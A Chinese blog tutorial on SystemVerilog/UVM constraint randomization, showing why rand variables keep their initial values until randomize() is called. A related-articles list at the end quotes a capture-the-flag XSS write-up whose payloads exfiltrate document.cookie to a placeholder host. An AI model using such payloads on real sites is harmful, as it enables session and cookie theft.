第18篇 :深入剖析systemverilog中 randomize 失败案例启示录(一)

news2024/11/25 20:28:46

经过前面章节的理论学习,我们对systemverilog中的随机约束,有一定的了解,那么,今天开始,着重讲述一些工作中遇到的困惑。主要通过一些例子,层层递进,举一反三,源于实践,剖析书本中没有提到硬性知识。

案例源代码

我们先看一个例子,例子很简单,但是却暴露了一些问题,百思不得其解。

`timescale 1ns/1ps 
`include "uvm_macros.svh"
import uvm_pkg::*;

class my_obj1 extends uvm_test;

  `uvm_component_utils(my_obj1)
   
   rand int  src=4;
   
   rand int dst=2;
   constraint dst_c {
      dst inside {[5:9]};
   }

   rand bit [3:0]  crc = 4'b0111;
   constraint crc_c {
      crc inside {5,6,7,8};
   }

  function new(string name = "my_obj1" , uvm_component parent = null );
    super.new(name, parent);
  endfunction // new

  extern virtual function print ();

  virtual task run_phase(uvm_phase phase);
     super.run_phase(phase);
     this.print();
  endtask 

endclass //

function my_obj1::print();
   `uvm_info(get_type_name(),$psprintf("%0h,%0h,%0h",src,dst,crc),UVM_LOW)
endfunction

//

module tb();
  
import uvm_pkg::*;
`include "uvm_macros.svh"

  initial begin
    run_test("my_obj1");
  end

endmodule // tb
//

这里,构造了一个最简单的基于UVM方法学的验证测试平台。其中,我们定义了三个可随机的变量:src, dst,crc。

   rand int  src=4;  // 定义 rand int 类型的src 变量,并且赋值初始化为 4 
   
   rand int dst=2; // 定义 rand int 类型的src 变量,并且赋值初始化为2
   constraint dst_c {  // 声明约束 block: dst_c ,
      dst inside {[5:9]};  // 约束dst 可能取值:5,6,7,8,9
   }

   rand bit [3:0]  crc = 4'b0111; // 定义 rand bit 类型的src 变量,并且赋值初始化为 4'b0111
   constraint crc_c { // 声明约束 block: crc_c ,
      crc inside {5,6,7,8}; // 约束dst 可能取值:5,6,7,8
   }

症状1:

尽管多次运行,为什么始终得到如下结果,而不是随机可能数值呢?

运行仿真上述代码,得到如下结果:

另外,如下图标注,随机变量 dst,crc 的初始化赋值,和 约束block 约束取值范围,冲突与否,并不影响仿真。可以理解:在不调用 randomize() 函数的时候,不激活约束block constraint 行为。

​​

分析1:

可见:三个随机变量的取值,均为初始化的被赋值。而并不是随机化的可能取值区间。这是因为,在创建my_obj1 类的时候,并没有显式的调用 my_obj1.randomize() 函数,所以不会去做类内部随机变量的随机行为。


// 


症状2:

我们修改上面例子,在类的 new 函数总,调用 randomize(), 看看会有什么效果?

`timescale 1ns/1ps 
`include "uvm_macros.svh"
import uvm_pkg::*;

class my_obj1 extends uvm_test;

  `uvm_component_utils(my_obj1)
   
   rand int  src=4;
   
   rand int dst=2;
   constraint dst_c {
      dst inside {[5:9]};
   }

   rand bit [3:0]  crc = 4'b0111;
   constraint crc_c {
      crc inside {5,6,7,8};
   }

  function new(string name = "my_obj1" , uvm_component parent = null );
    super.new(name, parent);
    this.randomize();  // 新增 randomize 调用
  endfunction // new

  extern virtual function print ();

  virtual task run_phase(uvm_phase phase);
     super.run_phase(phase);
     this.print();
  endtask 

endclass //

function my_obj1::print();
    `uvm_info(get_type_name(),$psprintf("%0h,%0h,%0h",src,dst,crc),UVM_LOW)
endfunction

//

module tb();
  
import uvm_pkg::*;
`include "uvm_macros.svh"

  initial begin
    run_test("my_obj1");
  end

endmodule // tb

分析2:

仿真可见,通过显示调用,随机变量均在显式约束、或者隐式,约束的取值范围取值。

另外:在显式调用randomize()的情况下,对于存在块约束的 随机变量crc,其随机化取值,依然是约束块的取值范围,也就是 :显式调用randomize()的情况下,约束块 比 初始化赋值,具有更高的优先级。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2236528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ArcGIS软件之“计算面积几何”地图制作

一、消防站的泰森多边形 效果图: 二、人口调查的泰森多边形 确定后效果图: 三、人口调查的泰森多边形属性设置 确定后的效果图: 四、计算面积几何,用于求密度 先添加字段area_1,然后设置浮点型及字段属性 五…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

大数据新视界 -- 大数据大厂之 Impala 性能优化:融合机器学习的未来之路(上 (2-2))(11/30)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

数据结构-并查集专题(2)

一、前言 接&#xff08;1&#xff09;完成剩余题目和了解并查集运用求解最小生成树的Kruskal算法 二、专题训练 2.1 题目总览 前四题见&#xff08;1&#xff09; 2.2 1568: 并查集-家谱 思路 首先这个题目的描述就有问题&#xff0c;它说每一组的父子关系由两行组成&…

【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告 前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨…

中安OCR电子行驶证、驾驶证识别,助力便捷出行与智慧交通

随着数字化技术在各行各业的深入应用&#xff0c;交通管理领域也迈入了新的时代。OCR电子行驶证和电子驾驶证的推出&#xff0c;不仅提升了车辆及驾驶证件管理的效率&#xff0c;更大大方便了车主出行。电子证件的普及&#xff0c;使得交通管理从“实体化”逐渐走向“数字化”&…

《深度学习神经网络:颠覆生活的魔法科技与未来发展新航向》

深度学习神经网络对我们生活的影响 一、医疗领域 深度学习神经网络在医疗领域的应用可谓意义重大。在疾病诊断方面&#xff0c;它能够精准分析医疗影像&#xff0c;如通过对大量的 CT、MRI 图像进行深度学习&#xff0c;快速准确地识别出微小的肿瘤病变&#xff0c;为医生提供…

基于 SSM(Spring + Spring MVC + MyBatis)框架构建电器网上订购系统

基于 SSM&#xff08;Spring Spring MVC MyBatis&#xff09;框架构建电器网上订购系统可以为用户提供一个方便快捷的购物平台。以下将详细介绍该系统的开发流程&#xff0c;包括需求分析、技术选型、数据库设计、项目结构搭建、主要功能实现以及前端页面设计。 需求分析 …

C++入门基础知识142—【关于C++ 友元函数】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///C爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C 友元函数的相关内容&#xff01; 关于…

密码学是如何保护数据传输的安全性?

密码学通过一系列算法和协议来保护数据传输的安全性。 一、加密技术 对称加密算法 原理&#xff1a;使用相同的密钥进行加密和解密。应用&#xff1a;在数据传输过程中&#xff0c;发送方和接收方共享一个密钥&#xff0c;数据在传输前被加密&#xff0c;接收方使用相同的密钥…

让Apache正确处理不同编码的文件避免中文乱码

安装了apache2.4.39以后&#xff0c;默认编码是UTF-8&#xff0c;不管你文件是什么编码&#xff0c;统统按这个来解析&#xff0c;因此 GB2312编码文件内的中文将显示为乱码。 <!doctype html> <html> <head><meta http-equiv"Content-Type" c…

SCUI Admin + Laravel 整合

基于 Vue3 和 Element Plus 和 Laravel 整合开发 项目地址&#xff1a;持续更新 LaravelVueProject: laravel vue3 scui

51单片机应用开发(进阶)---定时器应用(电子时钟)

实现目标 1、巩固定时器的配置流程&#xff1b; 2、掌握按键、数码管与定时器配合使用&#xff1b; 3、功能1&#xff1a;&#xff08;1&#xff09;简单显示时间。显示格式&#xff1a;88-88-88&#xff08;时-分-秒&#xff09; 4、功能2&#xff1a;&#xff08;1&#…

移植 AWTK 到 纯血鸿蒙 (HarmonyOS NEXT) 系统 (9) - 编译现有的AWTK应用程序

AWTK 应用程序开发完成后&#xff0c;在配置文件中添加 harmonyos 的选项&#xff0c;通过create_project.py脚本即可生成 DevEco Studio的工程。 安装开发环境 DevEco Studio HarmonyOS 的开发工具。 Python 运行环境。 git 源码管理工具。 下载 awtk 和 awtk-harmonyos…

江苏博才众创科技产业园集团拟投资10亿元在泰兴打造汽车零部件产业园

2024年11月7日&#xff0c;泰兴市高新技术产业开发区与江苏博才众创科技产业园集团举行新能源汽车零部件智能制造产业园项目签约仪式。 泰兴市高新区党工委委员、管理办副主任王峰表示&#xff1a;高新区是全市项目建设的主阵地&#xff0c;近年来聚焦高端化、智能化、绿色化&a…

计算机毕业设计项目推荐,应届毕业生求职网站 80757 上万套实战教程手把手教学JAVA、PHP,node.js,C++、python、大屏

摘要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对应届毕业生求职网站管理等问题&#xff0c;…

OceanBase详解及如何通过MySQL的lib库进行连接

OceanBase详解及如何通过MySQL的lib库进行连接 一、引言二、OceanBase概述1. 起源与发展2. 核心技术特点3. 应用场景三、OceanBase架构解析1. 系统架构2. 存储引擎3. 分布式架构四、如何使用MySQL的lib库连接OceanBase1. 前提条件2. 安装MySQL Connector/C3. 编写连接代码4. 编…

Trimble X12三维激光扫描仪正在改变游戏规则【上海沪敖3D】

Trimble X12 三维激光扫描仪凭借清晰、纯净的点云数据和亚毫米级的精度正在改变游戏规则。今天的案例我们将与您分享&#xff0c;X12是如何帮助专业测量咨询公司OR3D完成的一个模拟受损平转桥运动的项目。 由于习惯于以微米为单位工作&#xff0c;专业测量机构OR3D是一家要求…

UniTask/Unity的PlayerLoopTiming触发顺序

开始尝试在项目中使用UniTask&#xff0c;发现其中的UniTask.Yield确实很好用&#xff0c;还可以传入PlayerLoopTiming来更细致的调整代码时机&#xff0c;不过平常在Mono中接触的只有Awake&#xff0c;Start&#xff0c;Update等常用Timing&#xff0c;其他的就没怎么接触了&a…

分类 classificaton

1&#xff09;什么是分类&#xff1f; 在此之前&#xff0c;我们一直使用的都是回归任务进行学习&#xff1b;这里我们将进一步学习什么是分类&#xff0c;我们先从训练模型的角度来看看二者的区别。 对于回归来说&#xff0c;它所作的是对模型输入相应的特征&#xff0c;然后…